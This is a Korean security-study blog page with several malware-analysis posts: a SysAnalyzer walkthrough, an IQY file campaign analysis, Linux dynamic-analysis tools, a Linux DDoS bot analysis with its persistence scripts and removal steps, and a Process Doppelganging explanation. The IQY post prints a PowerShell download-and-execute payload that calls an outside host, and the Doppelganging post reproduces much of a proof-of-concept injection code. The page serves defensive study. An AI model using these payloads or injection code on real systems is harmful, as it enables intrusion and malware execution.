Kali-KM_Security Study

Intro

SysAnalyzer 는 오픈소스 기반의 자동화 악성코드 분석 도구이다. 기본적으로 여러 도구의 기능이나 기타 편의적인 기능이 제공되고 있다. 아래는 공식홈페이지에서 제공하는 설명이다.

SysAnalyzer Overview

SysAnalyzer is an open source application that was designed to give malcode analysts an automated tool to quickly collect, compare, and report on the actions a binary took while running on the system. 

A full installer for the application is available and can be downloaded here . The application supports windows 2000 - windows 10. Including x64 support. 

The main components of SysAnalyzer work off of comparing snapshots of the system over a user specified time interval. The reason a snapshot mechanism was used compared to a live logging implementation is to reduce the amount of data that analysts must wade through when conducting their analysis. By using a snapshot system, we can effectively present viewers with only the persistent changes found on the system since the application was first run. 



Interface

실행 시 기본적인 인터페이스는 아래와 같다.

  • Executable, Arguments : 실행 파일 경로 및 인자
  • Delay(secs) : Snapshot 전, 후 사이의 시간 값 지정
  • Use SnifHit : HTTP 접속 및 IRC 접속 정보를 확인
  • Use Api Logger : 호출 되는 API 목록을 획득
  • Directory Watcher : 모니터링 시점에 생성되는 모든 파일 획득


Example

해당 Tool 을 사용하여 몇 샘플을 분석해보자. 
참고 : 아무 동작을 하지 않고 종료되는 프로세스가 있을 수도 있으므로, Process Explorer 는 같이 켜놓는게 좋다.
실행 파일 지정 및 시작

하단에 두번째 Snapshot 까지 남은 시간을 기록함.

두 번째 snapshot 을 찍은 후, 상기의 화면 외에 Report File Viewer 가 새로 나타남. 내용은 동일.


이래한 결과들이 analysis 폴더에 파일로 저장됨.




샘플 분석 결과 정리
Process

File

Registry

Network


이와 같이 직접 확인해도 되지만, SysAnalyzer 의 강점은 바로 Report 를 출력해준다. 아래 내용은 "Report File Viewer" 의 "Report_실행시간.log" 결과 내용이다.
Processes:
PID    ParentPID    User    Path *    Service    
--------------------------------------------------
3076     3304    Administrator    C:\Windows\system32\svchost.exe        

Ports:
Port    PID    Type    Path *    Service    
--------------------------------------------------
65531     3076    TCP    C:\Windows\system32\svchost.exe        

Mutexes:
PID    Name *    
--------------------------------------------------
3076    \Sessions\1{EDFF96B3-5333-47AE-8DE6-022BB460FD36}    

Tasks:
Name    Executable    
--------------------------------------------------

Monitored Process Dlls:
pid    cnt    Name    
--------------------------------------------------

Loaded Drivers:
Driver File *    Company Name    Description    
--------------------------------------------------

Monitored RegKeys
Path    Value *    
--------------------------------------------------
HKLM\Software\Microsoft\Windows\CurrentVersion\Run    {EDFF96B3-5333-47AE-8DE6-022BB460FD36}=C:\Windows\CppServer.exe    

DirwatchData
Action    Size    File    
--------------------------------------------------
WatchDir Initilized OK            
Watching C        \    
Created        C:\Windows\CppServer.exe    
Modifed        C:\Windows    
Modifed        C:\Windows\CppServer.exe    
Modifed        C:\Windows\Prefetch    
Modifed    40000    C:\Windows\System32\config\SOFTWARE.LOG1    
Modifed    1740000    C:\Windows\System32\config\SOFTWARE    
Modifed    40000    C:\Users\Administrator\ntuser.dat.LOG1    
Modifed    1F400    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1    
Modifed    40000    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat    
Created        C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock    
Modifed        C:\Windows\Microsoft.NET\Framework\v2.0.50727    
Modifed    1E84A0 +    C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.log    


예제 샘플(CppServer.exe) 는 실행 시 svchost.exe 를 생성 후, 자기 자신을 인젝션(RunPE)한다. 이러한 점을 참고하였을때 SysAnalyzer 는 자동으로 생성 된 프로세스 덤프 한다. 첫 번째와 두 번째는 실제 인젝션 된 CppServer.exe 와 동일하다. 마지막 세 번째(svchost_sample.exe_) 의 경우 해당 환경에 존재하는 정상 svchost.exe 파일임을 확인했다.





 

API Log 부분에 대해 자세히 확인해보자. installing hooks 의 경우, 실행시킬 악성코드에 대해 Hook 을 설치하는 것이다. 실제 악성코드의 동작은 굵게 표시한 부분부터 시작된다. CopyFile, RegSetValueEx, VirtualAllocEx 등이 존재한다. 하지만 실제 파일의 코드를 확인해보면 VirtualAllocEx 이후, NtWriteProcessMemory, NtGetThreadContext, NtSetThreadContext, NtResumeThread 등이 호출된다. 이에 대해서는 기록되지 않았다. 이외에도 svchost.exe 를 생성할 때 사용된 API 인, NtCreateProcess 도 존재하지 않다.
--------------------------------------------------
ce8,464,***** Installing Hooks *****    
ce8,464,***config:handler:100079f0    
ce8,464,***config:noSleep    
ce8,464,***config:noGetProc    
ce8,464,***config:noRegistry    
ce8,464,***config:queryGetTick    
ce8,464,***config:blockOpenProcess    
ce8,464,***config:blockDebugControl    
ce8,464,***config:ignoreExitProcess    
ce8,464,***config:hooklibLogLevel    
ce8,464,76ef19ff     GetSystemTime()    
ce8,464,Install hook CreateProcessInternalW failed...Error:
    
ce8,464,77043c4c     ExitThread()    
ce8,dc8,1331780     GetStartupInfoW()    
ce8,dc8,13324b4     GetStartupInfoW()    
ce8,dc8,133148f     CopyFileA(C:\Users\Administrator\Desktop\CppServer.exe->C:\Windows\CppServer.exe)    
ce8,dc8,77028fcf     CloseHandle(h=80)    
ce8,dc8,7702a963     CloseHandle(h=84)    
ce8,dc8,7702ad07     CloseHandle(h=80)    
ce8,dc8,7702ad15     CloseHandle(h=7c)    
ce8,dc8,13314b2     RegCreateKeyA (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)    
ce8,dc8,13314df     RegSetValueExA ({EDFF96B3-5333-47AE-8DE6-022BB460FD36})    
ce8,dc8,75b67a17     VirtualAllocEx(h=ffffffff, addr=0, sz=8e00,type=3000, prot=4) = 100000    
ce8,dc8,133160c     VirtualAllocEx(h=80, addr=400000, sz=d000,type=3000, prot=40) = 400000    
ce8,dc8,7703caa4     CloseHandle(h=0)    
ce8,dc8,***** Injected Process Terminated *****    


중간 사용 후기

얼마 사용하지 않았지만, 느낀점은 아래와 같다.
- 여러 도구가 하나로 종합 된 느낌
- 간단한 동적 분석을 하기에 아주 용이
- 프로세스 생성 시, 그에 대한 Dump 와 Sample 파일까지 보여주는 것은 아주 훌륭(귀찮음을 덜어줌)
- 친숙해지면 아주 편리한 도구가 될 것같음
- API Log 의 경우, Nt- Zw- 함수는 기록되지 않는 것 같다.


'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3

Intro

IQY 파일을 이용한 악성코드 유포 사례가 종종 발생한다. 이에 대해 자세히 알아보기 위해, IQY 파일이 무엇인지, 그리고 어떻게 악성코드 유포에 사용되는지 알아보고자 한다.




IQY File

IQY 파일이란 Excel Web Query 파일로, 인터넷의 있는 데이터를 Excel 로 직접 가져온다. 파일 포멧은 아래와 같은 형태를 띈다. 이는 "www.google.com" 의 데이터를 가지고 오는 IQY 파일로, URL 인 "https://www.google.com/" 을 제외한 다른 내용은 자동으로 추가 된 것이다.



아래는 IQY  파일을 생성하거나 가져오기 위해서는 Excel 의 "데이터", "웹" 을 클릭하면 아래와 같은 화면의 나타난다.



위 그림에서 저장 버튼을 눌러 IQY 파일로 저장 후, 이를 실행하면 아래와 같이 나타나는 것을 확인 할 수 있다. "사용" 버튼을 누를 경우, 지정된 우베 페이지의 데이터를 읽어온다.



Analysis

예시로 분석할 IQY 샘플에 대한 정보는 아래와 같다.

MD5 : d2a63814440f8d054d78b03b48f7a3df


해당 샘플을 아래와 같이 지정된 URL 에 쿼리를 하여 데이터를 받아오는 IQY 파일이다.

URL> http://clodflarechk.com/2.dat


성공적으로 데이터를 받아올 경우 아래와 같은 코드가 존재하는 것을 확인할 수 있다.

=cmd|' /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://clodflarechk.com/1.dat\"))'!A0


데이터를 받아온 후, Excel Formulas 의 "CMD" 명령어에 따라 파워쉘을 실행시키려 한다. 이때 사용자에게 아래와 같이 경고 화면이 나타나며, "예" 를 누를 경우 위의 코드가 동작하여 파워쉘이 실행된다.


파워쉘은 상기와 동일한 주소로부터 1.dat 를 다운로드 한다. 하지만 현재 해당 서버와 정상적으로 연결이 이루어지지 않아 1.dat 를 다운로드할 수는 없다. 



Conclusion

정상적으로 연결이 되지 않아, 이후의 분석은 불가능하지만, 위와 같은 방식을 사용하여 추가적인 악성 동작을 수행할 수 있다는 점을 기억하자.



ETC.

 pastebin 에서 데이터를 받아 calc.exe 를 실행시키는 내용의 xlsx 를 만들었다. 
- IQY Data : https://pastebin.com/rawL8SpP37V
- Pastebin Data : =cmd | ' /c C:\Windows\System32\calc.exe'

해당 xlsx 파일을 압축 해제하여 열어보면 위의 내용을 아래의 파일들에서 확인할 수 있다.
- [Extracted_Path]\xl\connections.xml : iqy 파일과 관련된 내용이 존재
- [Extracted_Path]\xl\externalLinks\externalLink1.xml : iqy 파일을 통해 한번 실행했던 문자열 관련 정보가 존재

> connections.xml

> externalLink1.xml




Reference

Blog



'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +0

Monitoring Tool

Strace 를 이용한 동작 확인 및 모니터링

의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다.

아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다.

remnux@remnux:~/Desktop$ strace ls
execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0
brk(0)                                  = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=107852, ...}) = 0
mmap(NULL, 107852, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5b620e9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
...........
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5b62103000
write(1, "linux_server  REMnux Cheat Sheet"..., 66linux_server  REMnux Cheat Sheet  REMnux Docs  REMnux Tools Sheet
) = 66
close(1)                                = 0
munmap(0x7f5b62103000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


Sysdig 를 이용한 모니터링
다양한 필터를 가지고 있으며, Windows 의 Procmon 같은 녀석




Network 관련 도구

WireShark 를 통한 네트워크 패킷 분석



netstat -anp 를 통해 네트워크 연결 상태 조회



Windows 의 TCPView 와 같은 명렁어
$ watch -pn 0.1 "netstat -nap"




Process 관련 도구

ps -e -f | grep ~~~


pstree



Gnome-System-monitor



htop




'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3

개요

기본적인 파일 정보는 아래와 같다.

File Name : U******9
Diag Name : Linux/Xarceen.Gen

Linux "file" 명령어를 통한 결과는 아래와 같다.  굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다.
remnux@remnux:~/sample$ file U******9
UpTip999: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped


요약

해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP 주소를 얻어온다. 그 후 대량의 Packet 을 대상 주소로 전송하는 악성코드이다.





분석

자가 복사

해당 샘플의 경우 대상 환경에서의 지속성을 향상시키기 위하여 자기 자신을 복사한다. 복사되는 경로는 아래와 같다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /lib/libudev4.so



지속성 유지
추가적으로 악성 샘플을 다시 실행시키기 위해 '/etc/crontab' 파일을 변조한다. crontab 파일은 Windows 의 작업 스케쥴러와 같은 역할을 하며, 맨 마지막 줄의 내용이 추가된 것을 확인 할 수 있다. 해당 내용은 3분 마다 /etc/cron.hourly/gcc4.sh 를 실행하는 것이다.

remnux@remnux:~/test$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/3 * * * * root /etc/cron.hourly/gcc4.sh


gcc4.sh 는 상기에 설명한 바와 같이 복사한 자기 자신(/lib/libudev4.so) 을 libude4.so.6 라는 이름으로 복사 후 실행시키는 내용이다.

remnux@remnux:~/test$ cat /etc/cron.hourly/gcc4.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libudev4.so /lib/libudev4.so.6
/lib/libudev4.so.6


/etc/init.d 에도 Random 한 이름을 파일을 생성한다. 

remnux@remnux:~/test$ cat /etc/init.d/{random_filename}
#!/bin/sh
# chkconfig: 12345 90 90
# description:{random_filename}
### BEGIN INIT INFO
# Provides:{random_filename}
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: {random_filename}
### END INIT INFO
case $1 in
start)
/usr/bin/{random_filename}
;;
stop)
;;
*)
/usr/bin/{random_filename}
;;
esac


또한 "/etc/rc*.d" 경로 밑에 S90{random_filename} 의 형태로 위의 "/etc/init.d/{random_filename}" 을 가리키는 Link 파일을 생성한다. 여기서 rc*.d 폴더는 부팅 레벨에 따라, 각각의 부팅 레벨 폴더에 있는 파일들을 자동으로 실행하는 경로이다.



네트워크 (DDoS)

아래 주소를 DNS 요청으로 얻어오며, TCP Packet 과 UDP Packet 을 전송하는 것을 확인 할 수 있다. 해당 주소로부터 공격 대상에 대한 IP 주소를 받아온다.
  • 114.***.***.114 ; 중국의 네임 서버
  • 137.***.***.224 ; 원격지 주소 (공격 대상의 주소를 얻어옴)


원격지와의 통신을 통해 암호화 된 공격 대상의 IP 주소를 받아온다. 그 후 encrypt_code 부분을 통해 XOR 연산을 하여 해당 내용을 복호화 한다. 분석 당시ㅡ복호화 된 내용을 보면 0xc******8 로 IP 주소 104.***.***.203 을 가리키고 있다.


공격 대상의 주소를 가지고 온 뒤, 아래와 같이 대상 주소에 수 많은 패킷을 보낸다. 과도한 Packet 전송 동작 등을 보아 DDoS 공격 행위로 추정된다.


분석 당시ㅡ공격 대상이 되는 곳에 대해 조사한 결과, 아래와 같이 SharkTech 라는 곳을 알 수 있었다. 또한 대상은 DDoS 보호 서비스와 관련 된 사이트임을 알 수 있다.



기타
# 1
실행 시 자신을 Background 에서 실행되도록 한다.



#2
통신 중 지정 된 신호를 받을 경우 다운로드 동작을 수행 할 수 있다. 다운로드 주소는 공격자가 지정 할 수 있으며, 다운로드 완료 후 해당 파일을 실행한다.



#3
해당 샘플이 통신하는 dns.bbgbbg.top 의 경우 Whois 결과가 아래와 같다. 이는 whois guard 에 의해 보호된 주소임을 알 수 있다.

Domain Name: b****g.t*p
Registry Domain ID: D20160920G10001G_81549331-top
Registrar WHOIS Server: whois.namecheap.com
Updated Date: 2016-09-20T00:04:28Z
Creation Date: 2016-09-20T00:04:24Z
Registry Expiry Date: 2020-09-20T00:04:24Z
Registrar: Namecheap Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C20160920C_09331172-top
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code: 0
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registry Admin ID: C20160920C_09331173-top
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.


#4
지속적으로 랜덤한 문자열을 생성 후, "/lib/libudev4.so" 를 해당 이름으로 복사한다. 그리고 한번에 5개씩 해당 이름으로 프로세스를 생성한다.  하기의 동작은 반복적으로 이루어지기 때문에, 반복적으로 생성&소멸 된다.


이 때,  기존의 랜덤한 이름의 또 다른 자기 자신은 아래와 같이 삭제한다.



#5
프로세스의 도입부에서 아래의 문자열을 복호화한다.
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -an
top
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime

복호화 된 문자들은 아래와 같이 execve 명령을 통해 악성프로세스의 인자로 주어지게 된다.






대응 방안

프로세스 종료

동작 중인 프로세스에 대해 종료해야 한다. 종료하고자 하는 프로세스의 이름은 아래와 같은 형태이며, 동일한 이름을 가진 5개의 프로세스와, 자식-부모 관계를 갖고 있는 4개의 프로세스를 추가로 삭제해야 한다.
  • {random_10_chrar_filename}

파일 삭제
악성코드가 감염 환경에서의 지속성을 유지하기 위한 요소들을 제거해야 한다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /etc/rc*.d/S90{{random_filename}
  • /etc/init.d/{random_filename}
  • /etc/cron.hourly/gcc4.sh


고려 사항

  • 잔여 프로세스가 계속 실행되고 있음ㅡ아마 잔여프로세스가 새로운 이름으로 원본 파일을 실행할 것으로 추정
  • crontab 에 의해 3분마다 다시 프로세스 실행
  • 이와 같은 경우 Windows 라면 메모리 진단 및 치료를 수행, 하지만 수동 치료의 경우에는?


Comment +1

  • 질문드립니다. 2019.11.20 16:08

    안녕하세요 작성자님
    서버용 리눅스 Debian에서
    지금의 바이러스에 감염되었는데요..

    프로세스로 추정되는 것들을 찾아서
    kill -9 명령어를 실행했으나, 없어지지 않네요..

    물론 top 명령어로
    좀비 프로세스가 아니라는 것은 확인했으나
    프로세스가 죽지 않아서 도움을 구하고자 합니다.

    '부모 관계의 프로세스 4개를 종료해야한다'
    는 문구를 조금더 구체적으로 알수있을까요?

Overview

2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.

  • 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
  • NTFS 의 Transaction 기능을 이용한다는 점

공격 가능한 대상은 아래와 같다.
  • Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)

기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
  • Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
  • 원격 스레드를 생성하여 Payload 실행

하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다. 

// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.


Execute

악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.

사용되는 API 는 아래와 같다.

CreateTransaction
CreateFileTransacted
WriteFile
NtCreateSection
RollBackTransaction
NtCreateProcessEx

필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다

Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread



Step 1 
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.

HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {


    std::cerr << "Failed to create transaction!" << std::endl;
    return false;
}

생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다. 

HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,

    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {

    std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
    return false;

}

DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
    std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
    return false;

}


Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.

HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile
);
if (status != STATUS_SUCCESS) {


    std::cerr << "NtCreateSection failed" << std::endl;
      return false;
}

Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.

CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {


    std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
    return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;


Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.

  • CreateProcess
  • WinExec
  • ShellExecute

위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.

typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)


{
    OUT PHANDLE           ProcessHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE             ParentProcess,
    IN ULONG              Flags,
    IN HANDLE             SectionHandle OPTIONAL,
    IN HANDLE             DebugPort         OPTIONAL,
    IN HANDLE             ExceptionPort OPTIONAL,
    IN BOOLEAN            InJob
}; 






다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.

HANDLE hProcess = nullptr;

status = NtCreateProcessEx(
    &hProcess, //ProcessHandle
    PROCESS_ALL_ACCESS, //DesiredAccess
    NULL, //ObjectAttributes
    NtCurrentProcess(), //ParentProcess
    PS_INHERIT_HANDLES, //Flags
    hSection, //sectionHandle
    NULL, //DebugPort
  NULL,               //ExceptionPort
    FALSE               //InJob
);
if (status != STATUS_SUCCESS) {
    std::cerr << "NtCreateProcessEx failed" << std::endl;

    return false;
}



Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다.  우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.


status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");

    break;
}

status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
break;
}

EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

public struct ProcessBasicInformation {
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public UIntPtr InheritedFromUniqueProcessId;
}

 
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.

//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
    &ProcessParameters,    // pointer to parameter block.
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
}

가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.

//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,     // target memory address
    ProcessParameters,     // buffer
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
}


Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.

//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
}

최종적으로 동작을 실행할 Thread 를 만들어준다.

//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;


Conclusion

잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.



Reference

Blog


Source Code
Git - PoC Code 1
Git - PoC Code 2

News





'Reversing > Theory' 카테고리의 다른 글

IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28

Comment +0

Overview


문서형 악성코드의 경우 Macro 나 Script 등을 이용하여 악성동작을 수행하였다. 하지만 최근 DDE 기능을 악용하는 악성코드가 나타나고 있어, 이에 대해 소개하고자 한다.



DDE


우선 DDE 에 대하여 알아보자. DDE 는Dynamic Data Exchange 의 약어로, 응용 프로그램 간의 데이터 공유를 위한 방법이다. 예로 워드와 엑셀 간의 데이터 공유가 있다. DDE 를 활용하기 위해 MS Word 에서 아래와 같이 따라가보자.


삽입 - 빠른 문서 요소 - 필드- 필드 이름: "= (Formula)" - 확인

* MS Word 2016 기준 


